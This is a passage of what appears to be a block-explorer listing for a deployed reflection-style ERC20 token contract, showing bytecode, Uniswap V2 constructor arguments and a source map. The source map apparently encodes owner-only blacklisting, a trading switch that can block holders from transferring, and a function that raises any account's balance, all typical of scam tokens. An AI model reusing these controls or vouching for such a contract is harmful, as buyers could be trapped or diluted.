b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611dc657600f5468a2a15d09519be0000094509450505050611f44565b611e566007600060108481548110611de157611de0612a9c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461132d90919063ffffffff16565b9250611ee86009600060108481548110611e7357611e72612a9c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361132d90919063ffffffff16565b91508080611ef590612acb565b915050611c94565b50611f1c68a2a15d09519be00000600f546112e390919063ffffffff16565b821015611f3b57600f5468a2a15d09519be00000935093505050611f44565b81819350935050505b9091565b600080831415611f5b5760009050611fbd565b60008284611f699190612b14565b9050828482611f789190612a6b565b14611fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faf90612be0565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611fdb81611fc8565b8114611fe657600080fd5b50565b600081359050611ff881611fd2565b92915050565b60006020828403121561201457612013611fc3565b5b600061202284828501611fe9565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561206557808201518184015260208101905061204a565b83811115612074576000848401525b50505050565b6000601f19601f8301169050919050565b60006120968261202b565b6120a08185612036565b93506120b0818560208601612047565b6120b98161207a565b840191505092915050565b600060208201905081810360008301526120de818461208b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612111826120e6565b9050919050565b61212181612106565b811461212c57600080fd5b50565b60008135905061213e81612118565b92915050565b6000806040838503121561215b5761215a611fc3565b5b60006121698582860161212f565b925050602061217a85828601611fe9565b9150509250929050565b60008115159050919050565b61219981612184565b82525050565b60006020820190506121b46000830184612190565b92915050565b6121c381611fc8565b82525050565b60006020820190506121de60008301846121ba565b92915050565b6000806000606084860312156121fd576121fc611fc3565b5b600061220b8682870161212f565b935050602061221c8682870161212f565b925050604061222d86828701611fe9565b9150509250925092565b61224081612106565b82525050565b600060208201905061225b6000830184612237565b92915050565b600060ff82169050919050565b61227781612261565b82525050565b6000602082019050612292600083018461226e565b92915050565b6000602082840312156122ae576122ad611fc3565b5b60006122bc8482850161212f565b91505092915050565b6122ce81612184565b81146122d957600080fd5b50565b6000813590506122eb816122c5565b92915050565b6000806040838503121561230857612307611fc3565b5b600061231685828601611fe9565b9250506020612327858286016122dc565b9150509250929050565b6000806040838503121561234857612347611fc3565b5b60006123568582860161212f565b92505060206123678582860161212f565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b60006123cd602c83612036565b91506123d882612371565b604082019050919050565b600060208201905081810360008301526123fc816123c0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244a57607f821691505b6020821081141561245e5761245d612403565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006124c0602a83612036565b91506124cb82612464565b604082019050919050565b600060208201905081810360008301526124ef816124b3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061252c602083612036565b9150612537826124f6565b602082019050919050565b6000602082019050818103600083015261255b8161251f565b9050919050565b60006040820190506125776000830185612237565b6125846020830184612190565b9392505050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006125c1601f83612036565b91506125cc8261258b565b602082019050919050565b600060208201905081810360008301526125f0816125b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061263182611fc8565b915061263c83611fc8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612671576126706125f7565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006126b2601b83612036565b91506126bd8261267c565b602082019050919050565b600060208201905081810360008301526126e1816126a5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612744602483612036565b915061274f826126e8565b604082019050919050565b6000602082019050818103600083015261277381612737565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127d6602283612036565b91506127e18261277a565b604082019050919050565b60006020820190508181036000830152612805816127c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612868602583612036565b91506128738261280c565b604082019050919050565b600060208201905081810360008301526128978161285b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128fa602383612036565b91506129058261289e565b604082019050919050565b60006020820190508181036000830152612929816128ed565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061298c602983612036565b915061299782612930565b604082019050919050565b600060208201905081810360008301526129bb8161297f565b9050919050565b50565b60006129d2600083612036565b91506129dd826129c2565b600082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b6000612a1382611fc8565b9150612a1e83611fc8565b925082821015612a3157612a306125f7565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a7682611fc8565b9150612a8183611fc8565b925082612a9157612a90612a3c565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ad682611fc8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b0957612b086125f7565b5b600182019050919050565b6000612b1f82611fc8565b9150612b2a83611fc8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b6357612b626125f7565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bca602183612036565b9150612bd582612b6e565b604082019050919050565b60006020820190508181036000830152612bf981612bbd565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4a785151db8f884d8b23489e4aa19afac21eed2646659999fdc71eaf4cd492b64736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : V2factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : V2router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

152:10780:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4245:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1621:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2281:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1898:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3274:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;946:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5051:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1807:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;980:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3742:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2450:273;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4629:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2005:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1497:155:1;;;:::i;:::-;;2731:117:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2860:135;;;:::i;:::-;;3595:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1218:93:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1712:87:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;424:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3968:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3099:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2130:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3007:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4245:376;4297:14;4314:12;:10;:12::i;:::-;4297:29;;4346:11;:19;4358:6;4346:19;;;;;;;;;;;;;;;;;;;;;;;;;4345:20;4337:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4426:15;4449:19;4460:7;4449:10;:19::i;:::-;4425:43;;;;;;4497:28;4517:7;4497;:15;4505:6;4497:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;4479:7;:15;4487:6;4479:15;;;;;;;;;;;;;;;:46;;;;4546:20;4558:7;4546;;:11;;:20;;;;:::i;:::-;4536:7;:30;;;;4590:23;4605:7;4590:10;;:14;;:23;;;;:::i;:::-;4577:10;:36;;;;4286:335;;4245:376;:::o;1621:83::-;1658:13;1691:5;1684:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1621:83;:::o;2281:161::-;2356:4;2373:39;2382:12;:10;:12::i;:::-;2396:7;2405:6;2373:8;:39::i;:::-;2430:4;2423:11;;2281:161;;;;:::o;1898:95::-;1951:7;398:19;1971:14;;1898:95;:::o;3274:313::-;3372:4;3389:36;3399:6;3407:9;3418:6;3389:9;:36::i;:::-;3436:121;3445:6;3453:12;:10;:12::i;:::-;3467:89;3505:6;3467:89;;;;;;;;;;;;;;;;;:11;:19;3479:6;3467:19;;;;;;;;;;;;;;;:33;3487:12;:10;:12::i;:::-;3467:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;3436:8;:121::i;:::-;3575:4;3568:11;;3274:313;;;;;:::o;946:27::-;;;;;;;;;;;;;:::o;5051:253::-;5117:7;5156;;5145;:18;;5137:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5221:19;5244:10;:8;:10::i;:::-;5221:33;;5272:24;5284:11;5272:7;:11;;:24;;;;:::i;:::-;5265:31;;;5051:253;;;:::o;1807:83::-;1848:5;1873:9;;;;;;;;;;;1866:16;;1807:83;:::o;980:26::-;;;;;;;;;;;;;:::o;3742:218::-;3830:4;3847:83;3856:12;:10;:12::i;:::-;3870:7;3879:50;3918:10;3879:11;:25;3891:12;:10;:12::i;:::-;3879:25;;;;;;;;;;;;;;;:34;3905:7;3879:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;3847:8;:83::i;:::-;3948:4;3941:11;;3742:218;;;;:::o;2450:273::-;1068:12:1;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2557:4:3::1;2527:34;;:16;:26;2544:8;2527:26;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;2523:193;;;2593:5;2564:16;:26;2581:8;2564:26;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;2523:193;;;2645:4;2616:16;:26;2633:8;2616:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;2666:48;2677:8;2687:16;:26;2704:8;2687:26;;;;;;;;;;;;;;;;;;;;;;;;;2666:48;;;;;;;:::i;:::-;;;;;;;;2523:193;2450:273:::0;:::o;4629:414::-;4719:7;398:19;4747:7;:18;;4739:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4817:17;4812:224;;4852:15;4875:19;4886:7;4875:10;:19::i;:::-;4851:43;;;;;;4916:7;4909:14;;;;;4812:224;4948:23;4978:19;4989:7;4978:10;:19::i;:::-;4946:51;;;;;;5019:15;5012:22;;;4629:414;;;;;:::o;2005:117::-;2071:7;2098;:16;2106:7;2098:16;;;;;;;;;;;;;;;;2091:23;;2005:117;;;:::o;1497:155:1:-;1068:12;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1604:1:::1;1567:40;;1588:6;::::0;::::1;;;;;;;;1567:40;;;;;;;;;;;;1642:1;1618:13;;:26;;;;;;;;;;;;;;;;;;1497:155::o:0;2731:117:3:-;2790:4;2814:16;:26;2831:8;2814:26;;;;;;;;;;;;;;;;;;;;;;;;;2807:33;;2731:117;;;:::o;2860:135::-;1068:12:1;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2927:5:3::1;2914:18;;:9;;;;;;;;;;;:18;;;2910:78;;;2947:4;2935:9;;:16;;;;;;;;;;;;;;;;;;2910:78;;;2981:5;2969:9;;:17;;;;;;;;;;;;;;;;;;2910:78;2860:135::o:0;3595:139::-;1068:12:1;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3702:24:3::1;3722:3;3702:7;:15;3710:6;3702:15;;;;;;;;;;;;;;;;:19;;:24;;;;:::i;:::-;3684:7;:15;3692:6;3684:15;;;;;;;;;;;;;;;:42;;;;3595:139:::0;;:::o;1218:93:1:-;1263:7;1290:13;;;;;;;;;;;1283:20;;1218:93;:::o;1712:87:3:-;1751:13;1784:7;1777:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1712:87;:::o;424:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3968:269::-;4061:4;4078:129;4087:12;:10;:12::i;:::-;4101:7;4110:96;4149:15;4110:96;;;;;;;;;;;;;;;;;:11;:25;4122:12;:10;:12::i;:::-;4110:25;;;;;;;;;;;;;;;:34;4136:7;4110:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;4078:8;:129::i;:::-;4225:4;4218:11;;3968:269;;;;:::o;3099:167::-;3177:4;3194:42;3204:12;:10;:12::i;:::-;3218:9;3229:6;3194:9;:42::i;:::-;3254:4;3247:11;;3099:167;;;;:::o;2130:143::-;2211:7;2238:11;:18;2250:5;2238:18;;;;;;;;;;;;;;;:27;2257:7;2238:27;;;;;;;;;;;;;;;;2231:34;;2130:143;;;;:::o;3007:84::-;3050:4;3074:9;;;;;;;;;;;3067:16;;3007:84;:::o;1766:132:2:-;1824:7;1851:39;1855:1;1858;1851:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1844:46;;1766:132;;;;:::o;521:136::-;579:7;606:43;610:1;613;606:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;599:50;;521:136;;;;:::o;108:114:1:-;161:15;203:10;188:26;;108:114;:::o;9207:411:3:-;9266:7;9275;9284;9293;9302;9323:23;9348:12;9364:20;9376:7;9364:11;:20::i;:::-;9322:62;;;;9395:19;9418:10;:8;:10::i;:::-;9395:33;;9440:15;9457:23;9482:12;9498:39;9510:7;9519:4;9525:11;9498;:39::i;:::-;9439:98;;;;;;9556:7;9565:15;9582:4;9588:15;9605:4;9548:62;;;;;;;;;;;;;;;;9207:411;;;;;;;:::o;200:179:2:-;258:7;278:9;294:1;290;:5;;;;:::i;:::-;278:17;;319:1;314;:6;;306:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;370:1;363:8;;;200:179;;;;:::o;5312:335:3:-;5422:1;5405:19;;:5;:19;;;;5397:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5503:1;5484:21;;:7;:21;;;;5476:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5585:6;5555:11;:18;5567:5;5555:18;;;;;;;;;;;;;;;:27;5574:7;5555:27;;;;;;;;;;;;;;;:36;;;;5623:7;5607:32;;5616:5;5607:32;;;5632:6;5607:32;;;;;;:::i;:::-;;;;;;;;5312:335;;;:::o;5657:769::-;5772:1;5754:20;;:6;:20;;;;5746:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5856:1;5835:23;;:9;:23;;;;5827:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5926:1;5917:6;:10;5909:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5988:16;:24;6005:6;5988:24;;;;;;;;;;;;;;;;;;;;;;;;;:55;;;;6016:16;:27;6033:9;6016:27;;;;;;;;;;;;;;;;;;;;;;;;;5988:55;5984:86;;;6064:1;6054:6;:11;6045:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;5984:86;6098:5;6085:18;;:9;;;;;;;;;;;:18;;;:39;;;;6117:7;:5;:7::i;:::-;6107:17;;:6;:17;;;6085:39;:63;;;;6141:7;:5;:7::i;:::-;6128:20;;:9;:20;;;6085:63;6081:338;;;6179:69;6199:6;6179:69;;;;;;;;;;;;;;;;;:7;:15;6187:6;6179:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;6161:7;:15;6169:6;6161:15;;;;;;;;;;;;;;;:87;;;;6280:30;6303:6;6280:7;:18;6288:9;6280:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;6259:7;:18;6267:9;6259:18;;;;;;;;;;;;;;;:51;;;;6343:9;6326:35;;6335:6;6326:35;;;6354:6;6326:35;;;;;;:::i;:::-;;;;;;;;6081:338;;;6407:5;6394:18;;:9;;;;;;;;;;;:18;;;6385:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;6081:338;5657:769;;;:::o;827:190:2:-;913:7;946:1;941;:6;;949:12;933:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;973:9;989:1;985;:5;;;;:::i;:::-;973:17;;1008:1;1001:8;;;827:190;;;;;:::o;10207:163:3:-;10248:7;10269:15;10286;10305:19;:17;:19::i;:::-;10268:56;;;;10342:20;10354:7;10342;:11;;:20;;;;:::i;:::-;10335:27;;;;10207:163;:::o;2085:276:2:-;2171:7;2203:1;2199;:5;2206:12;2191:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2230:9;2246:1;2242;:5;;;;:::i;:::-;2230:17;;2352:1;2345:8;;;2085:276;;;;;:::o;9626:231:3:-;9686:7;9695;9715:12;9730:24;9752:1;9730:17;9742:4;9730:7;:11;;:17;;;;:::i;:::-;:21;;:24;;;;:::i;:::-;9715:39;;9765:23;9791:17;9803:4;9791:7;:11;;:17;;;;:::i;:::-;9765:43;;9827:15;9844:4;9819:30;;;;;;9626:231;;;:::o;9865:334::-;9960:7;9969;9978;9998:15;10016:24;10028:11;10016:7;:11;;:24;;;;:::i;:::-;9998:42;;10051:12;10066:21;10075:11;10066:4;:8;;:21;;;;:::i;:::-;10051:36;;10098:23;10124:17;10136:4;10124:7;:11;;:17;;;;:::i;:::-;10098:43;;10160:7;10169:15;10186:4;10152:39;;;;;;;;;9865:334;;;;;;;:::o;840:81:1:-;880:7;907:6;;;;;;;;;;;900:13;;840:81;:::o;10378:551:3:-;10428:7;10437;10457:15;10475:7;;10457:25;;10493:15;398:19;10493:25;;10540:9;10535:279;10559:9;:16;;;;10555:1;:20;10535:279;;;10625:7;10601;:21;10609:9;10619:1;10609:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10601:21;;;;;;;;;;;;;;;;:31;:66;;;;10660:7;10636;:21;10644:9;10654:1;10644:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10636:21;;;;;;;;;;;;;;;;:31;10601:66;10597:97;;;10677:7;;398:19;10669:25;;;;;;;;;10597:97;10719:34;10731:7;:21;10739:9;10749:1;10739:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10731:21;;;;;;;;;;;;;;;;10719:7;:11;;:34;;;;:::i;:::-;10709:44;;10778:34;10790:7;:21;10798:9;10808:1;10798:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10790:21;;;;;;;;;;;;;;;;10778:7;:11;;:34;;;;:::i;:::-;10768:44;;10577:3;;;;;:::i;:::-;;;;10535:279;;;;10838:20;398:19;10838:7;;:11;;:20;;;;:::i;:::-;10828:7;:30;10824:61;;;10868:7;;398:19;10860:25;;;;;;;;10824:61;10904:7;10913;10896:25;;;;;;10378:551;;;:::o;1132:467:2:-;1190:7;1440:1;1435;:6;1431:47;;;1465:1;1458:8;;;;1431:47;1488:9;1504:1;1500;:5;;;;:::i;:::-;1488:17;;1533:1;1528;1524;:5;;;;:::i;:::-;:10;1516:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1590:1;1583:8;;;1132:467;;;;;:::o;88:117:4:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:307::-;1373:1;1383:113;1397:6;1394:1;1391:13;1383:113;;;1482:1;1477:3;1473:11;1467:18;1463:1;1458:3;1454:11;1447:39;1419:2;1416:1;1412:10;1407:15;;1383:113;;;1514:6;1511:1;1508:13;1505:101;;;1594:1;1585:6;1580:3;1576:16;1569:27;1505:101;1354:258;1305:307;;;:::o;1618:102::-;1659:6;1710:2;1706:7;1701:2;1694:5;1690:14;1686:28;1676:38;;1618:102;;;:::o;1726:364::-;1814:3;1842:39;1875:5;1842:39;:::i;:::-;1897:71;1961:6;1956:3;1897:71;:::i;:::-;1890:78;;1977:52;2022:6;2017:3;2010:4;2003:5;1999:16;1977:52;:::i;:::-;2054:29;2076:6;2054:29;:::i;:::-;2049:3;2045:39;2038:46;;1818:272;1726:364;;;;:::o;2096:313::-;2209:4;2247:2;2236:9;2232:18;2224:26;;2296:9;2290:4;2286:20;2282:1;2271:9;2267:17;2260:47;2324:78;2397:4;2388:6;2324:78;:::i;:::-;2316:86;;2096:313;;;;:::o;2415:126::-;2452:7;2492:42;2485:5;2481:54;2470:65;;2415:126;;;:::o;2547:96::-;2584:7;2613:24;2631:5;2613:24;:::i;:::-;2602:35;;2547:96;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:118::-;3916:24;3934:5;3916:24;:::i;:::-;3911:3;3904:37;3829:118;;:::o;3953:222::-;4046:4;4084:2;4073:9;4069:18;4061:26;;4097:71;4165:1;4154:9;4150:17;4141:6;4097:71;:::i;:::-;3953:222;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:118::-;4893:24;4911:5;4893:24;:::i;:::-;4888:3;4881:37;4806:118;;:::o;4930:222::-;5023:4;5061:2;5050:9;5046:18;5038:26;;5074:71;5142:1;5131:9;5127:17;5118:6;5074:71;:::i;:::-;4930:222;;;;:::o;5158:86::-;5193:7;5233:4;5226:5;5222:16;5211:27;;5158:86;;;:::o;5250:112::-;5333:22;5349:5;5333:22;:::i;:::-;5328:3;5321:35;5250:112;;:::o;5368:214::-;5457:4;5495:2;5484:9;5480:18;5472:26;;5508:67;5572:1;5561:9;5557:17;5548:6;5508:67;:::i;:::-;5368:214;;;;:::o;5588:329::-;5647:6;5696:2;5684:9;5675:7;5671:23;5667:32;5664:119;;;5702:79;;:::i;:::-;5664:119;5822:1;5847:53;5892:7;5883:6;5872:9;5868:22;5847:53;:::i;:::-;5837:63;;5793:117;5588:329;;;;:::o;5923:116::-;5993:21;6008:5;5993:21;:::i;:::-;5986:5;5983:32;5973:60;;6029:1;6026;6019:12;5973:60;5923:116;:::o;6045:133::-;6088:5;6126:6;6113:20;6104:29;;6142:30;6166:5;6142:30;:::i;:::-;6045:133;;;;:::o;6184:468::-;6249:6;6257;6306:2;6294:9;6285:7;6281:23;6277:32;6274:119;;;6312:79;;:::i;:::-;6274:119;6432:1;6457:53;6502:7;6493:6;6482:9;6478:22;6457:53;:::i;:::-;6447:63;;6403:117;6559:2;6585:50;6627:7;6618:6;6607:9;6603:22;6585:50;:::i;:::-;6575:60;;6530:115;6184:468;;;;;:::o;6658:474::-;6726:6;6734;6783:2;6771:9;6762:7;6758:23;6754:32;6751:119;;;6789:79;;:::i;:::-;6751:119;6909:1;6934:53;6979:7;6970:6;6959:9;6955:22;6934:53;:::i;:::-;6924:63;;6880:117;7036:2;7062:53;7107:7;7098:6;7087:9;7083:22;7062:53;:::i;:::-;7052:63;;7007:118;6658:474;;;;;:::o;7138:231::-;7278:34;7274:1;7266:6;7262:14;7255:58;7347:14;7342:2;7334:6;7330:15;7323:39;7138:231;:::o;7375:366::-;7517:3;7538:67;7602:2;7597:3;7538:67;:::i;:::-;7531:74;;7614:93;7703:3;7614:93;:::i;:::-;7732:2;7727:3;7723:12;7716:19;;7375:366;;;:::o;7747:419::-;7913:4;7951:2;7940:9;7936:18;7928:26;;8000:9;7994:4;7990:20;7986:1;7975:9;7971:17;7964:47;8028:131;8154:4;8028:131;:::i;:::-;8020:139;;7747:419;;;:::o;8172:180::-;8220:77;8217:1;8210:88;8317:4;8314:1;8307:15;8341:4;8338:1;8331:15;8358:320;8402:6;8439:1;8433:4;8429:12;8419:22;;8486:1;8480:4;8476:12;8507:18;8497:81;;8563:4;8555:6;8551:17;8541:27;;8497:81;8625:2;8617:6;8614:14;8594:18;8591:38;8588:84;;;8644:18;;:::i;:::-;8588:84;8409:269;8358:320;;;:::o;8684:229::-;8824:34;8820:1;8812:6;8808:14;8801:58;8893:12;8888:2;8880:6;8876:15;8869:37;8684:229;:::o;8919:366::-;9061:3;9082:67;9146:2;9141:3;9082:67;:::i;:::-;9075:74;;9158:93;9247:3;9158:93;:::i;:::-;9276:2;9271:3;9267:12;9260:19;;8919:366;;;:::o;9291:419::-;9457:4;9495:2;9484:9;9480:18;9472:26;;9544:9;9538:4;9534:20;9530:1;9519:9;9515:17;9508:47;9572:131;9698:4;9572:131;:::i;:::-;9564:139;;9291:419;;;:::o;9716:182::-;9856:34;9852:1;9844:6;9840:14;9833:58;9716:182;:::o;9904:366::-;10046:3;10067:67;10131:2;10126:3;10067:67;:::i;:::-;10060:74;;10143:93;10232:3;10143:93;:::i;:::-;10261:2;10256:3;10252:12;10245:19;;9904:366;;;:::o;10276:419::-;10442:4;10480:2;10469:9;10465:18;10457:26;;10529:9;10523:4;10519:20;10515:1;